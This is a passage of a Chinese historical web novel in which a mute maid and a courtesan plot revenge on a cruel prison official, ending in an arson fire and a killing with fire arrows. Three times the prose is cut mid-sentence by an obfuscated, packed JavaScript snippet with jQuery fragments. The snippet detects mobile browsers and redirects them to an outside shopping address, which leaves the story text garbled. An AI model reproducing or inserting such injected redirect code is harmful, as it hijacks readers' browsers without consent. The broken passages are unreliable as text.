这日贺兰珩回了后衙,孙嬷嬷的胃疾好多了,由她来做饭。膳后季晚凝端着茶盘来到书房外,窗里亮着灯,依稀有两个人影投在窗纸上。
东义守在门口,上前几步道:“晚凝姐,小阮正在里面,你等等再进吧。”
一般贺兰珩有事不想让东义听才会让他出来,季晚凝只好同他一起候着。
直到端得手有些酸了,茶也温了,小阮才从里面出来,手里拿着一吊钱。
从贯绳打结的方式,季晚凝看出来是贺兰珩给的。
小阮见到她,亲切地打了招呼,季晚凝微微一笑,迈进了书房,跪坐在案边斟茶,斟过茶之后研墨。
桌案上放着一本律典和一摞文书,其中一卷书帙上标着榴香案的字样。季晚凝眼睛一亮,不知这个案子最终判决如何。
她看向贺兰珩,他的脸嵌在烛光明暗交织出,修眉俊眼,薄唇似刃。
贺兰珩抬眸对上她的目光,月眉下那双眼清灵如海中明珠,望向他时带着一丝探寻的意味,睫毛轻眨,仿若忽闪的流萤,让人忍不住想要满足她。
他垂下眼,从那摞中文书抽出了那卷狱牒,状似无意地展开铺在桌上。
季晚凝稍微探头,上面记录了榴香被杀案的经过以及判决:
何从杀人、偷盗数罪并罚,处斩;杜耀安藏匿罪人,赎铜十斤;秦俪同谋杀人而不加功,赎铜一百斤。
末端盖着大理寺和刑部的章,看来是刑部批复过的。
官宦人家只要有钱,就能免于刑罚,而奴婢贱籍,律比畜产,是以秦俪才这么有恃无恐。
茶盏中倒映出季晚凝略带失望的脸,她手中的墨锭一抖,掉在了地上。她慌忙捡起来,用巾帕擦拭干净。
贺兰珩拿起茶筅轻拨茶沫,头也不抬道:“除非十恶不赦之罪,秦家肯定会赎她的。”
季晚凝咬了咬唇,神色如霜,继续在砚台里磨了一会儿,随后从笔格上抄起一杆笔写道:“与我同监一个叫做王露谣的盐贩,被秦俪和小六用私刑打断了一条腿,当作何处置?”
贺兰珩无波无澜道:“秦俪无非罪加一等,多添些赎铜罢了。至于小六,我已命断眉割了他的舌头,你可满意?”
不满意,但又有什么办法?
在律法面前,不仅是微不足道的她,身为大理卿所能做的也十分有限,她感到很无力。
她捏住笔杆,写道:“在狱中我没钱吃饭,是王露谣接济我,她家境贫寒,又断了腿失了生计,君可否将她买来安置在后衙?”
“大理狱里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164461|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有多少贫民,你当我这里是病坊?而且我不收残废。”贺兰珩的语气冰冷而决绝。
季晚凝羽睫颤了颤,垂头看着自己的字迹,突然觉得有些天真可笑。
他留下自己和小阮,是因为她们对他有用,并非是因为他心软。
她腹中斟酌着该如何说服他,这时贺兰珩收起狱牒,啜了口茶道:“下去吧。”
季晚凝悻悻然放下笔,无奈地起身退了出去。
贺兰珩轻抬眼眸,望了眼她离去的背影,纤柔而寥落,渐渐黯淡,消失在了门后。
季晚凝走出书房,发现小阮站在阶下还没走。
她双手捧起把那吊赏钱,往她跟前一送,道:“晚凝姐姐,这、这是郎君赏我的,我不该有私,还是交给娘子吧。”
一贯就是一千文,季晚凝两个月的月钱,自从她被扣了月钱后,还没见过这么多钱呢。
她心里浮起一股暖意,笑着冲小阮摇了摇头,将钱塞回了她手里。
回到房中,她如往常一样坐在桌案前,盯着那张舆图,锲而不舍地寻找突破口。
旁边放着几张写满了字的纸,上面拟了好几个方案,而不论哪一个,没有内应都无法实行。
她突然拿起那叠纸,扔在了油灯里,又重新铺开了一张崭新的白纸。
她必须想办法联系上林夙之。
……
崇文馆里。
“今日,请诸位临摹《峄山碑》碑帖,”书课的学士操着一把苍哑而沉浑的声音说道,“切记老夫说过的要领。”
下面数十名锦衣华服的郎君低低应声,靳然手执狼毫,如坐针毡。
老学士徐徐起身,背着双手,神色严肃地在书案间穿梭指点,走到靳然的桌案旁时,脚步停住了。
“靳然,你所书笔画结构全无章法,老夫方才讲的都当耳旁风了?”老学士绷着脸,眉头紧皱。
靳然干脆将笔掷回笔架上,嘴角勾起一道戏谑的弧度道:“这几百年前古人写的秦篆,已然过时了,学生这是吐故纳新,自创一派。
“况且若是军中羽檄,秦篆根本不适用,等写完了敌人都踏平城垣了。”
话音一落,满座哗然。
老学士对付这些纨绔子弟早已有经验,他深吸了口气,没理会靳然这番无礼的言辞,踱到一个穿着青衫的学生桌旁,笑蔼蔼道:“姚絮,你这用笔锋横势稳健,纵势豪逸,力道的拿捏掌控皆恰到好处。如此用心,日后必成大器。”
“先生谬赞了,学生惭愧。书法之道,博大精深,学生不过才略窥门径。”
姚絮语中透着温和谦逊。
靳然循着声音瞥向他,姚絮身形竹清松瘦,着一袭青衣,更显飘逸出尘。
靳然冷嗤了一声。
“姚七郎,可否借我字帖观摩一番?”一个同窗问道。
姚絮恭谨地将字帖递了过去,众人从左到右一一传阅,纷纷赞叹。
传到靳然时,他单手拿着字帖,装模作样地扫了一眼,刚要传给下一位时,突然间目光定住了。
他越瞧这字越觉眼熟,好像在哪里见过。姚絮的书法有其独有的风格,横纵疏密遵循着某种自定的规律。
靳然脑海中浮现出了素儿的那把琵琶,上面用秦篆刻着“夙心”二字,背面还有一句酸诗。
原来是他!
靳然嘴角抽了一抽,纸被他用力攥得起了褶。
原来素儿爱慕这种温润如玉的端方君子,那日她还说什么对自己仰慕不已,不过是有求于他逢场作戏罢了。
一俟散课,靳然健步如飞冲出了崇文馆,翻身上马,夹紧马腹,直奔平康坊。
23. 赎身
靳然踏进镜花楼,直入二楼的雅间,假母一看来了贵客,殷勤地迎上去,命人奉酒。
“去把素儿叫来。”靳然举起酒爵道。
假母给杂役使了个眼神。
不消片刻,林夙之抱着琵琶从绣幕后冉冉而至。
她跪坐在波斯锦毯上,碧色轻纱长裙铺落下来,肩上环着飘逸的帔帛。
林夙之垂下云鬓,柔声道:“妾见过靳四郎,上回多亏四郎请来大理卿,帮妾洗清了嫌疑。妾还没有好好谢过,今日的酒水便记在妾账上吧。”
她的指尖堪堪触到琴弦,就被一片黑影笼罩了。
“谁让你弹琵琶了?”靳然的声音沉冷。
她抬起头,他立在她身前,一双黑眸骄睨着她。
“会不会弹筝?”
林夙之摇头:“妾不才,只会弹琵琶。”
靳然冷哼一声:“既如此,你这琴几个钱?我买了。”
“此琴乃是家传,恕妾不能贱卖。”林夙之的语气里添了几分坚决。
靳然嘴角噙着一抹嘲弄的笑意,道:“家传?原来你家姓姚?”
在他锐利的注视下,林夙之神色一滞,慌乱地站起身来将琵琶抱在怀里,心怦怦乱跳。
既然他已经发现了琴是姚絮的,那自己的身份会不会也泄露了?
他若是知道她是陈澍案的罪眷,肯定不会给她好脸色。
林夙之往后撤了一步,躬身屈礼道:“妾今日身子不适,择日再向四郎赔罪。”
靳然本是试探她,看她如此反应,便十成确定了。
“我让你走了?”
他突然出手,一把捉住林夙之的手腕,猛地将她拽到了自己跟前。
“哐啷”一声巨响,琵琶从林夙之怀中脱落,重重地砸在了地上,琴身翻了个个儿。
林夙之挣开他,扑在地上将琵琶翻了过来,琴弦断了一根,侧身赫然出现了一道裂纹。
“被你视若珍宝的琴,这就坏了?”
林夙之用袖子拂去琴上的浮尘,泪意从她的眼眶里涌出,她倏地扭过头来,忍无可忍道:“靳然,你别欺人太甚!”
靳然心里那簇妒火一下就蹿了上来,讥讽道:“姚絮他要真是正人君子,能让你在这种地方营生?不过是个道貌岸然的伪君子罢了。”
林夙之羽睫扑扇了几下,泪水滑落下来:“你没资格说他,难道你这番就是君子所为吗?”
靳然缓缓蹲下身来,在她耳畔笑道:“我从没说过我是君子啊。”
他捏起她的下巴,林夙之眼睛通红地瞪着他,两双眸子耽耽相视。
“过几日就是你的梳拢之礼,你且看谁更有资格。”
正在这当,假母闻声撩帘进来,见靳然脸色黑沉,素儿摊在地上哭哭啼啼。
她忙上前劝道:“素儿刚来不久,脸皮子薄,不懂事,都怪妾没管教好。四郎快消消火气,今日免了四郎的账。”
假母对靳然阿谀奉承完,朝林夙之冷眉冷眼地呵斥道:“不知好歹的贱骨头,敢惹了贵客,看我不打死你!”
说着抬手冲她抽了过去,巴掌还未落下,靳然一记眼风扫过来:“你敢?”
假母吓得一个激灵缩回了手,这当,一群妖妖娆娆的美人鱼贯而入,拉起靳然就往外走,这么大个儿的英俊财神谁都想抬回自个儿屋里。
靳然一袖子把她们甩开,扔下五十贯钱,径自撩帘走了。
是夜,林夙之辗转难眠。
翌日一早,她去向假母告假,假母见她眼睛肿得像核桃似的,又忌惮她有靳然给她撑腰,便允了。
林夙之先是去了一家琴行,将摔坏的琵琶交给了一名琴匠修理。
随后又来到西市,找到了季晚凝说的那家食肆,给掌柜娘子塞了几个钱,上库房里找到那个装满核桃的袋子,翻了半晌,里面并没有什么香球。
下晌,林夙之来到大理寺,绕到后衙的角门叩了少顷。
东义从门缝里认出了她,打开门,听她说要找季晚凝,可眼下三郎君不在,他不能作主,便打发她回去了。
季晚凝正在不远处教小阮挖坑埋落叶,往角门张望了一眼。
后衙的来客一般都是贺兰府中人,或是同僚或友人。为了避外人,她从来不凑上去。
小阮把落叶扫进坑里,季晚凝则在树下拣拾掉落的树枝,抱着满满的一捆跑到柴房放下来。
她坐在小杌子上,从堆了半墙的树枝中挑出了几根长短粗细适度的,挨个掰了掰,最后选出来一枝柔韧度最符合她要求的。
待到夜里子时,季晚凝拿着那根树枝来到厨房里,用刀削去树皮,在木桩上打磨平整,两端割出凹槽,绑上绳子绷紧。
随后她生起火,将树枝架在火上烤,一个时辰后,她把树枝拿起来,已初见雏形。
……
林夙之坐在妆镜前,额间贴着一点花钿,在镜中看着苏娘手法娴熟地将她的头发挽成繁复而华丽的百叶髻,最后插上一支芙蓉点翠步摇。
“瞧瞧,咱们镜花楼马上就要有新花魁了。”苏娘给林夙之精心梳妆了一个时辰,对自己的杰作相当满意。
镜中的美人脸上却没有一丝喜色。
“今日是你的梳拢之礼。这阵子你也露了些脸,名声已经打出去了,今晚会来不少达官显贵。”
苏娘把头油抹在她的碎发上,梳整得一丝不乱,“你可别掉链子,我说过钱会分你一半,一分都不会少你。假母估摸能卖上五百贯呢!”
苏娘笑呷呷地端详着林夙之,连那蹙眉的弧度都是郎君喜欢的模样。
她放下梳篦,拿出一卷小册子,坐在林夙之身边,翻开来给她讲解每一页的图画。
林夙之满面羞红,连忙用荷花团扇挡住了脸,绯罗裙下两只脚紧紧蜷在一起。
“我……我还是不看了吧。”
“那怎么能成?你羞什么?哪个娘子没有第一夜?”苏娘把她的团扇拨了下来,轻描淡写道,“我当年的梳拢夜可没你这么好命,卖给了一个粗黑的行商,浑身一股狐臭腥味,打得我浑身青紫,我不也一咬牙一闭眼就过去了?”
她抚了抚林夙之的脸颊,道:“我倒是希望你呀,能碰上一个温柔的郎君。”
林夙之垂下头,眼前浮现出了姚絮那双清亮的眸子,温柔地看着她说:“夙之,你等等我,等我考取了功名,等有一天大赦天下,我便与母亲说,娶你过门。”
日头西垂。
崇文馆刚散了课,靳然从书堂出来,闲庭信步地往大门走。
姚絮那清隽的身影就在他斜前方,靳然扫了一眼,远远地看见照壁后面探出来一个年轻女郎,手里提着一只食盒。
待姚絮走近了,那女郎笑得灿若桃花,顾不得大家闺秀的矜持,小跑两步,伸出双手将食盒递到姚絮面前。
靳然懒懒地走过二人身旁,姚絮脸上一如既往地挂着温润的笑容,他接过食盒,端谨有礼地唤她吴六娘,并道了声谢。
靳然将马牵了出来,骑上去,又见那女郎搭着姚絮的手臂登上了一辆牛车。
他扬起马鞭,骏马嘶鸣一声,擦着姚絮身侧窜了出去,长长的马尾甩在姚絮的脖子上,踢着尘土扬长而去。
女郎闻声回过头来,对着靳然的背影,扬声埋怨了几句,被姚絮笑着劝住了。
靳然一路马蹄翻飞,冲进了镜花楼前堂,问道:“素儿呢?”
假母一脸懵然道:“靳四郎怎地这么早就来了?还没到时辰呢,要不妾叫人先带你上雅间坐会儿?”
靳然二话不说解下腰间的玉佩,拍在桌上道:“这块上品和田玉有市无价,今晚的场子就散了吧。”
假母掏出帕子拿起那块玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164462|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佩,在阳光下照了照,又用手轻轻敲了几下。
“靳四郎的东西自然是好东西,只是今晚那么多贵客……”假母左右为难。
话还没说完,靳然已径绕过她,朝后院走去。
“告诉你一个诀窍,你若是看上哪位郎君,就若有似无地给他递个眼色,要等他出价犹豫不决的时候再递。”
苏娘合上册子,对林夙之说道。
林夙之攒着眉默默听着,忽然间“哐”地一声,房门被一脚踹开了。
苏娘吓得险些从凳子上掉下来,林夙之倏地站了起来,退到角落里,用团扇挡住了脸。
靳然三跨两步上前拉住她的手腕,道:“赎金已经缴了,你跟我走,以后不用再回来了。”
“等等。”林夙之被他这么一拽,团扇从手中掉落。
“他今天不会来的,不信我可以陪你在这儿等着。”靳然道。
“靳四郎说的是谁?”林夙之眨了眨睫毛,装傻道。
“还能有谁?你心里的那个人。”靳然目光忽然转冷。
林夙之攥紧了袖口,眸光闪动,道:“你怎么知道?”
从她儿时起,除了姚絮以外,她从未想过自己会嫁给别人,哪怕是成了罪眷之后,她也做好了当妾的打算。
林夙之的眼泪如断线的珠子滚落下来,内心虽然知道不可能,却一直在期盼着他会来,哪怕只有一线希望。
靳然喉结滚动了一下,话到嘴边又吞了下去,最终没把他看见的那一幕告诉她。
他语气稍缓:“这是你最后一次为他哭,听见了没有?”
一旁的苏娘这会儿都听明白了,赶忙劝道:“素儿,靳四郎一表人才,又是节度使的儿子,跟了他不亏,你岁数也不小了,没两年就蹉跎了,赶紧走吧。”
“等等,我还有话要说。”林夙之擦了擦泪容。
就算姚絮不来,也不能是靳然,若是有一天他知道了她的身份,定会恨死她。
“你可知我下了多少血本赎你?先伺候好本公子,再谈旁的。”靳然冷声道。
他扯着林夙之回到前堂,管假母拿了身契,假母还在摩挲着那块和田玉,笑嘻嘻地没再阻拦。
华灯初上,点点红光融在绮丽的暮色中,镜花楼里灯火辉煌,丝竹靡靡。
袁大独自坐在雅间,等了良久,只见一个杂役撩起帘子,吴道坤踱了进来,将随从留在外面把守。
袁大起身引他落座道:“听闻今日是镜花楼头牌歌伎的梳拢之夜,下官特地为吴尚书预留了雅间。”
“你找我来,不单是为了此事吧,可有什么消息?”吴道坤道。
“这回的消息可大了,下官发现谶书案中的一个女囚被贺兰珩放了出去。”
“我略知一二,大理寺的狱牒里写了那犯人是无辜牵连进来的,又是个女子,放了便放了吧。”
“吴尚书可知那女子是何身份?”袁大阴恻恻道,“下官怀疑她是陈澍的遗孤。”
“你怎么确定?”吴道坤眉头一跳,“况且陈澍怎么可能还有后?”
“她姓季,是个哑女,吴尚书可想到了什么?”
吴道坤抚着胡须,眼睛望向斜上方。
“我知道陈澍的夫人姓季,至于哑女……好像是陈澍的幺女?”
袁大低声道:“正是。下官已经打听到了那女子现在何处,改日下官就带人前去核查。”
“也好,不论真假,先寻来再论。”
雅间外面忽然传来了热浪般的喧哗声,袁大和吴道坤走出房间,倚在栏杆上。
那头牌歌伎被簇拥到堂前,珠翠环绕,绯裙华丽。
“姿色如此平庸,镜花楼一日不如一日了。”吴道坤沉着脸道。
袁大瞧那歌伎确实名不副实,面带尴尬地打圆场道:“下官下回还是订惊鸿楼的雅间。”
24. 暗访
平康坊里歌舞升平,不知昼夜。
大理寺的后衙,夜凉似洗,星斗满天,月光从扶疏的梧桐叶漏下来,碎如残雪。
横枝上一只漆黑的乌鸦若隐若现,啄了两下羽毛,随后双爪踏着枝桠,展翅欲飞。
嗖——
一道尖锐的黑影破风而出,划过浓稠的夜色。
乌鸦来不及鸣叫,直线掉落在地上,枯叶成了它的裹尸布。
季晚凝敛起木弓,上前将木箭从乌鸦身上拔下来,把它的尸体扔在了背后的筐中,里面还躺着几只雀鸟和它作伴。
季晚凝自小被猎户收养,射些野兔飞鸟不在话下。她臂力虽不算强,但胜在目力极佳,准头好。
一只奔跑的羚羊在她眼里速度比在别人眼里慢上数倍,如同漫步一样。
她将筐中的鸟都倒了出来,拔掉羽毛,用来做箭翎,然后把尸体埋进了落叶坑里,填上了土。
……
过了几日,贺兰珩下值后回到后衙。
季晚凝煮好茶往书房送过去,途中遇见靳然提着个鸟笼子进了书房的院子。
他身后跟着一行婢女和长随,正往院里抬着布匹和妆奁。
季晚凝为了回避,将茶盘交给了门口的东义。
她转身刚出院子,靳然的一个婢女躲在墙侧,轻轻地唤了她一声:“晚凝。”
季晚凝回头,杏眸一弯,才发现是林夙之。
靳然拎着鸟笼子走进书房,道:“谦晔兄,小弟有一事相求。”
“什么事?”贺兰珩拨着茶沫问。
“我为素儿赎了身接回府里,但她在府上无依无靠,连个说话的人都没有,整日愁眉不展。我看她在杜宅时与你那婢女走得近,谦晔兄能否把她让给我,放在素儿房中陪她。”
靳然说罢,揭开了罩在鸟笼上的布,栖木上立着一只通体雪白的鹦鹉,唯有冠子上一抹灿黄,黑珍珠般的眼睛滴溜溜地东瞧西望。
“这白鹦鹉可是难得的珍禽,通人性,会说话。”靳然把手伸进笼子里逗弄了一下,“来,给大理卿学两句。”
白鹦鹉歪着脑袋,不理不睬,灵活地在栖木上蹦了两下。
“你这笨鸟,怎么不吱声了?一点面子也不给我。”靳然抱怨道。
贺兰珩冷冷地扫了他一眼道:“不让。”
“你要是不喜欢这笨鸟,我还有别的……”
“不让——不让——”
白鹦鹉突然扑棱着翅膀,仰起脖子用清脆的叫声打断了他的话。
靳然的嘴角抽了一抽。
那边季晚凝拉着林夙之偷偷钻进自己房里。
“我扮成婢女才能进来,靳然会拖住贺兰大理,咱们可以叙叙话。”林夙之道,“对了,食肆我去过了,没找到你说的香球,你确定在那里吗?”
季晚凝心里一沉,她所藏的地方一般人找不到,能被谁拿了去?
只能日后再想办法了,她按下焦急的心绪,从枕头下拿出来一张纸来递给林夙之。
林夙之在昏暗的光下铺开纸,刚读了几行就睁圆了眼睛,心跳如擂鼓,手忙脚乱地揉成了一团。
她压低声音道:“那日在前衙,你魂不守舍地盯着一个狱丞看,难道就是他?害死你父亲的酷吏?”
季晚凝眸光雪亮,笃定地颔首。
“你真的要替父亲报仇吗?”林夙之不可思议地问道。
那个酷吏同样也残害过林夙之的父亲,他挑断了林台丞的手脚筋,让他浑身伤口腐烂未愈就踏上了流放之路,最终死在了途中。
可林夙之从未想过为家人复仇,她一介弱质女流,哪里敢想去杀人。
这些年来她一直依附着姚絮而活,一度觉得自己已经很幸运了。若是她还在姚府,一定会拒绝季晚凝。
可如今她成了浮萍,落入风尘,又没名没分地跟了靳然,命运全然由不得自己,往后又会如何,她心里也没底儿。
季晚凝要复仇,要给父亲翻案,林夙之是她唯一的同盟,这也是她们唯一能翻身的出路。
林夙之权衡了一下,依靠姚絮或靳然,还不如依靠季晚凝。
季晚凝的谋划不仅要杀死袁大,还要借此引出谶书主谋“针”,不然她困在后衙,行事太被动。
林夙之做贼似的又把那张纸展开,读完了后面的话。
她忐忑道:“我不确定自己能不能做到,怕拖了你的后腿。”
季晚凝拢住她微微发颤的双手,看着她的眸光坚定而温柔,好像无声地在说:你可以。
顺天门的第一声暮鼓敲响了,这是林夙之和靳然约定的信号。
“时辰差不多了,我得走了。”
季晚凝起身,把自己画的大理寺舆图交给她,林夙之将两张纸卷起来塞进袖子里,道:“我再考虑一下,你千万要保护好自己。”
季晚凝点了点头。
靳然从书房中出来,林夙之混进婢女的队伍里,随他一同走了。
东义看见季晚凝在附近徘徊,叫住了她:“郎君让你进去。”
季晚凝走进书房,长几上放着几匹绢帛,和一只装着首饰的妆奁。
贺兰珩抬头道:“这些是素儿答谢你的,托靳然送了过来。先纳入库房,等将来放契的时候再交还给你。”
季晚凝已经摸清了他的行事原则,只能接受,她在矮几后坐下来,拿过笔砚,询问他素儿近况如何。
贺兰珩迟疑了一息,告诉她:“她被靳然赎出来了。”
季晚凝本是为了避嫌才佯装关心问的,听到这个消息后一怔,方才林夙之只字未提。
林夙之和靳长恺的儿子在一起,处境必然如履薄冰。
季晚凝隐隐担忧,她能确定吴道坤、罗逊和宋熙都是奸人,宋熙就是那个检举父亲的人,至于靳长恺她也不能排除怀疑。
贺兰珩看她的表情确实是不知情的样子,道:“你以后别想着跟她来往了,出去吧。”
季晚凝知道他防备着自己,抿了抿唇,没再说什么。
高几上的白鹦鹉在金笼里跳了两下,怪声怪气地学舌道:“出去吧——出去吧——”
季晚凝:“……”
方才靳然的请求被贺兰珩断然驳回了,但他还是把鹦鹉留了下来,说当作谢礼。
她起身走了过去往笼子看,鹦鹉雪白的羽毛十分漂亮,小眼睛盯着她,伸了伸脖子,张开嘴开始咿咿呀呀地唱歌,逗得季晚凝弯眉轻笑。
贺兰珩默默注视了她少顷,自从上次看过狱牒后,他能看出来她一直闷闷不乐。
“这鹦鹉太吵,你若喜欢,就放在你那里养吧。”
季晚凝扭头看了眼贺兰珩,有个小家伙陪她解闷倒也不错,于是拎起鸟笼子回了房,挂在檐下,又从厨房取了些粮食和水喂给它。
小阮和婢女们也好奇地围了过来,逗它说话。
莲漏三声,入夜了。
芙蓉纱帐被晚风轻柔地撩起,露出半幅灯火,帐中连绵的喘吁声渐息。
林夙之星眸如醉,轻轻觑着,抓着被角的手缓缓松开。
靳然看她湿漉漉的鬓发黏在额角,粉面春潮未褪,一把将她颤软的身子环在了怀里。
林夙之歇了片刻,玉臂攀上他的脖颈,在他耳畔婉转道:“四郎,从前客人赏我的珠帛都送给晚凝了,只留了几件苏娘给我的,我想再买些新的,可好?”
靳然被她娇软缱绻的声音撩得心里发酥,抚着她的青丝,低头啄了一口道:“只要你往后都这般懂事,想买多少都行。还有你的琴,若是不想卖就放在我这里,我再给你寻一把名琴。”
林夙之倚在他的颈窝里,低低嗯了一声。
靳然的性子率真,直来直去,只要她肯服软,说几句中听的,他便都依着她,相处倒是容易。
一觉醒来,床榻空空,靳然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164463|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已去了崇文馆,没叫醒她。
林夙之起床梳洗过后,拿起他留在桌上的钱,去了西市。
她走进一家首饰当铺,拿出一只玉簪和一只步摇,请店家估了价,又买了几只新的。
从当铺出来后她朝着鬼市走去。
在青楼的短短几个月里,林夙之接触的三教九流比这辈子接触的都多,鬼市就是她从这些人口中得知的。
她戴上帷帽,拐入一条曲巷,然后推开一道暗门,撩帘走进一间昏暗的屋子。
她装作颇为老练的样子,将手里的余钱扔到店家面前。
“我需要一个机灵应变,底子不干净的人给我办件事。”
店家捡起铜钱,上面沾的尽是汗,他面无表情地把钱揣进怀里,朝后面的伙计勾了勾手指。
……
三日后的旬日,大理寺的殿堂严整森郁,静无人息,唯有大理狱的铁门兀自洞开。
秦家家丁照例来大理狱给秦俪送晡食,还带了悦桂斋的糕点。
狱吏瞅着今日这个来送饭的眼生,家丁笑嘻嘻地往他手里塞了半吊钱,狱吏接过食盒,转身进了大牢。
大理狱门口一个人也没有了,旬日不仅官员休沐,囚犯也会被轮流放出来放风、洗澡,狱吏都去看守囚犯了。
那家丁绕到大理狱侧身,从袖中掏出来个东西丢在了枯叶堆里,随后若无其事地走出了大理寺。
与此同时的值房里,袁大腰间系着输石带,斜跨横刀,正步步向着断眉逼近。
他粗粝的双手上沾过不知多少人的血,不介意再多一个。
“獠奴!你是不是觉得本官好骗?”
他单手掐着断眉的脖子,嗓音如雷吼一般震耳欲聋。
断眉面色涨紫,从喉间挤出几个字来:“卑职……何时骗过袁狱丞?”
“你上回告诉我季晚凝所住之处,本官前去搜查,那院子里住的是吴尚书的别宅妇!吴尚书若是怪罪下来,老子要你的狗命!”
袁大将断眉像条狗一样扔到墙角里,抬起靴子一脚踩在他肋骨上,断眉咬紧了牙关。
“袁狱丞这就误会了,季晚凝在长安没有住处,卑职听闻她去那宅子借住,宅中其他人查过没有?”
“你当本官蠢?就一个二进院子,几个婢女,哪来的姓季的!说,你是怎么知道吴尚书的别宅妇住哪儿的!”
袁大满脸的横肉皱得跟猪脑花一样。
昨日他带人闯进宅中,拿住了正寝里的女郎,女郎一闹才知她竟然是吴道坤的人,随即就去告状了。
吴道坤气得脸都绿了,把袁大叫去一顿臭骂。
断眉转转眼珠,周旋道:“那定是那别宅妇撒谎包庇她……”
“獠奴还敢狡辩!”
袁大抄起挂在墙上的狼牙鞭,高高举了起来。
“不好了,不好了!袁狱丞,大理寺走水了!”一个狱吏冲进值房喊道。
袁大一惊,随即便闻见了窗外飘进来的烟味,怒道:“怎么回事!哪里起的火?”
“就在大理狱东侧,不知怎么着的。”
断眉对大理寺比袁大更为熟悉,他从地上爬起来,当机立断对狱吏道:“让狱婆准备湿帕子分发给囚犯,你们随我去池塘那边接通管道取水!快!”
说罢他便飞速跑了出去。
袁大大步流星地往外走,烟雾越来越浓。牢房里的囚犯们惊惶失措,一边捂脸咳嗽,一边吵着放人。
袁大走到门口时突然想起了什么,又折回到值房拿上钥匙,往女监走去。
此时秦俪被熏得口鼻又干又疼,咳得上气不接下气。
她正扇着烟雾,看见袁大朝她过来了,喑哑地冲他喊道:“快!快放我出去!我阿耶是四品官员!”
袁大上前打开了门锁,对她说道:“跟我走,去后身池塘那边,有水。”
秦俪掩住口鼻,紧跟在袁大后面。
25. 左眼
外面火势越来越旺,赤红的火焰炽腾蔓延,热浪翻涌。
正在放风的那波囚犯幸运地从大理狱跑了出来,四散奔逃,被狱吏持戟驱赶到了一间小库房里暂且躲避火势,却不慎漏了一个男囚。
断眉率着其余的狱吏往池塘跑,袁大也跟着他们,秦俪气喘吁吁地落在最后。
突然她身边跑过一个干瘦、光着上身的囚犯,秦俪一瞧,竟是小六。
蹿起的黑烟像一条巨龙不断地翻滚膨胀,火舌肆意地舔舐着天幕。
远处梧桐树林肃穆地伫立着,被火光拉扯出奇形怪状的影子。
没人注意到,一个黑影正伏在房檐上,远眺着大理狱。
断眉率先来到池塘边,找到了管道,和狱吏一起开始引水。衙里的侍卫也纷纷加入救火的行列,有人骑上马出去禀告火情。
没了舌头的小六张着大嘴,啊啊啊地喊着,穿过人群跳进了池塘里,没人顾得上理会他。
有个狱吏提了桶池水正赶回大理狱,被秦俪拦住,她撩了几把水在脸上,舒服了许多。
随后袁大带着她钻进凉亭里休息,叉着腰站在那儿指挥。
他在心里唾骂,可真够倒霉的,虽说这天干物燥的走水也正常,但自己难免被贺兰珩问责。
本朝酷吏大都被清算了,袁大倚仗着吴道坤好不容易脱吏为官,这回搞不好就不仅得丢官帽还得吃官司。
“袁狱丞!这边没问题了,水马上就引过去,你可以回去了。”断眉冲他喊道。
袁大焦灼的心情稍微松了下,冲他点点头,幸好有断眉,不然他就吃不了兜着走了。
现在他得赶紧回大理狱看看犯人的情况,袁大刚要转身,就注意到了池塘里的小六,露着个脑袋在水里扑腾。
“你个蠢杀材!赶紧给我上来!”
袁大怒吼一声,这个不省心的哑巴,改日得好好教训他一下。
小六充耳不闻,袁大撸起袖子三步并两步朝池塘走过去。
突然间,空中出现了一道流星,如迅电般直直朝着他的眉心飞了过来。
“什么东西?!”
袁大额角青筋猛跳,脸上的横肉绷紧了,手摸向刀柄。
横刀迅速出鞘,倏地凌空一斩,将那东西砍成了两截。
他蹲下身拾起来,竟然是一支木箭,箭头还燃着火。
哪来的火箭!
袁大心念电转,不妙,这场火绝非偶然。
是出连环计!
他霍然起身,对断眉喊道:“小心有刺——”
袁大话还没说完,就觉左眼一片漆黑,随之而来的是钻心的剧痛,贯穿了他整个脑袋。
“啊——!”
袁大双膝重重地跪在地上,像个麻袋一样倒了下去。
这边狱吏们听见袁大的惨叫声,回首见他栽倒在地,连忙上前查看,一探鼻息,人已经没气儿了。
就在此时,第二道流星穿破了暮色。
却无人应声。
狱吏将火箭从袁大的眼睛上拔了出来,连带着血丝和脑浆,眼眶周围俱是灼烧的痕迹。
袁大的左眼成了一个巨大的黑洞。
躲在亭子里的秦俪瑟瑟发抖地伸长手臂指向这边,嘴里呼喊着什么。
一名狱吏注意到了她,他顺着她的手指侧过目光。
只见小六正漂浮在水面上,额头中央插着一支跟袁大左眼上一模一样的火箭。
“有刺客!”狱吏惊慌地呼喊,抱头扑在了地上,“都趴下!”
